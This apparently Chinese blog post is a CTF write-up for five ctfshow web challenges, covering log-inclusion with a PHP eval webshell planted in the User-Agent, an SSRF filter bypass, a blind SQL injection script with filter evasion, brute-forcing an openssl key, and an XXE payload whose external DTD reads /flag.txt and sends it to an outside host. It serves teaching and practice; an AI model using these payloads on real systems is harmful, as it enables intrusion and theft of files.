ctfshow-WEB_AK赛

签到_观己(日志包含)

文件包含一般下面几种协议,不过这些协议这道题都用不起:
在这里插入图片描述
除了猜,还有日志包含。

首先访问file=/var/log/nginx/access.log看日志文件是否存在。
在这里插入图片描述
然后访问aaaaaaaaaaa,再查看日志文件,已经被记录到了日志文件中。
在这里插入图片描述
因为url中会被编码,所以在UA中加入一句话木马<?php @eval($_GET['pass']);?>,成功写入日志。

在这里插入图片描述
随后蚁剑链接:http://0bb8f2b6-74cb-4fd9-860d-a4d246c8aa11.chall.ctf.show/?file=/var/log/nginx/access.log

拿到flag

web1_观字

在这里插入图片描述
这道题没做出来,只想到了把ip地址变为10进制访问,没想到过滤了0
在这里插入图片描述
学到一个新知识点:curl可以用句号代替点.

更多方法参考:url绕过这篇文章讲的很详细

访问url=http://192。168。7。68/flag拿到flag。
在这里插入图片描述

web2_观星(SQL盲注中 = like ascii '的bypass)

这道题做出来了,直接用盲注脚本跑不出来

平时盲注语句:
^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='web1'),{},1))>{})^1".format(i,mid)

fuzz一下发现过滤了, = like ascii '

  • 逗号过滤,采用substr((database())from({})for(1))的形式
  • 等号和like过滤,用regxep或者in绕过
  • ascii用ord代替
  • 单引号用16进制绕过

最终脚本如下:

import requests
url = ' http://c71f4dd3-9252-4df2-8464-eb37db7be8ec.chall.ctf.show/index.php?id=1'
flag = ''
for i in range(1, 50):
    high = 127
    low = 32
    mid = (high+low)//2
    while high > low:
        payload = "^(ord(substr((database())from({})for(1)))>{})^1".format(i, mid)
        # payload = "^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)in(database()))from({})for(1)))>{})^1".format(i,mid)
        # payload = "^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)in(0x666c6167))from({})for(1)))>{})^1".format(i,mid)
        # payload = "^(ord(substr((select(group_concat(flag))from(web1.flag))from({})for(1)))>{})^1".format(i,mid)
        s = requests.get(url=url+payload)
        if 'Rudyard' in s.text:
            low = mid+1
        else:
            high = mid
        mid = (high+low)//2
    print(mid)
    flag += chr(mid)
    print(flag)

web3_观图(openssl_encrypt解密+爆破key)

这道题没做出来,以为参数是base64没解码成功就没做了,不知道访问/showImage.php还能看到源码。

题目代码如下:

 <?php

//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){
    $image=$_GET['image'];
    $str = openssl_decrypt($image, 'bf-ecb', $key);
    if(file_exists($str)){
        header('content-type:image/gif');
        echo file_get_contents($str);
    }
}else{
    highlight_file(__FILE__);
}
?> 

在写爆破解密脚本的时候遇到了以下问题:
在这里插入图片描述

解决:
在这里插入图片描述
然后php代码如下:
在这里插入图片描述

我也不知道这里RAND_MAX多大,反正$i不够就加,加到30000终于爆出来了。

<?php
$image = "Z6Ilu83MIDw=";
for($i=0;$i<30000;$i++){
	$key = substr(md5('ctfshow'.$i),3,8);
	$str = openssl_decrypt($image, 'bf-ecb', $key);
	if(strpos($str,'jpg')|strpos($str,'png')|strpos($str,'gif')){
		echo 'key:'.$key;
		echo '<br>rand():'.$i;
		$a = openssl_encrypt("config.php","bf-ecb",$key);
		echo '<br>anser:'.$a;
		echo '<br>file:'.$str;
		break;		
	}
}

结果如下:
在这里插入图片描述

不过访问之后是这样的:
在这里插入图片描述
ctrl+s保存下来,把后缀改为php即可得到flag。


总结:

加密函数openssl_encrypt

openssl_encrypt($data, $method, $password)
  • $data 加密明文
  • $method 加密方法
  • $passwd 加密密钥[密码]

解密函数

openssl_decrypt($data, $method, $password)

格式同上

rand()函数

在这里插入图片描述
本地测试:

<?php
	$a=getrandmax();
	echo $a;
?>

windows下的确为32767
在这里插入图片描述

linux下应该为2147483647(Ubuntu),不知道各发行版一不一样。
在这里插入图片描述

web4_观心

点击占卜时发现api.php
在这里插入图片描述
做题的时候就只发现了这些,但是不会用,后来看了wp才知道这是个xxe漏洞。

在vps上创建两个文件:test.xml

在这里插入图片描述

<?xml version="1.0" encoding="utf-8"?> 

<!DOCTYPE test [ 

<!ENTITY % remote SYSTEM "http://121.196.196.190/test.dtd"> 

%remote;%int;%send; ]>

<reset><login>bee</login><secret>Any bugs?</secret></reset>

test.dtd
在这里插入图片描述

<!ENTITY % p1 SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % p2 "<!ENTITY xxe SYSTEM 'http://ip/pass=%p1;'>">
%p2;

然后访问即可:在这里插入图片描述
在这里插入图片描述

膜拜大佬

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值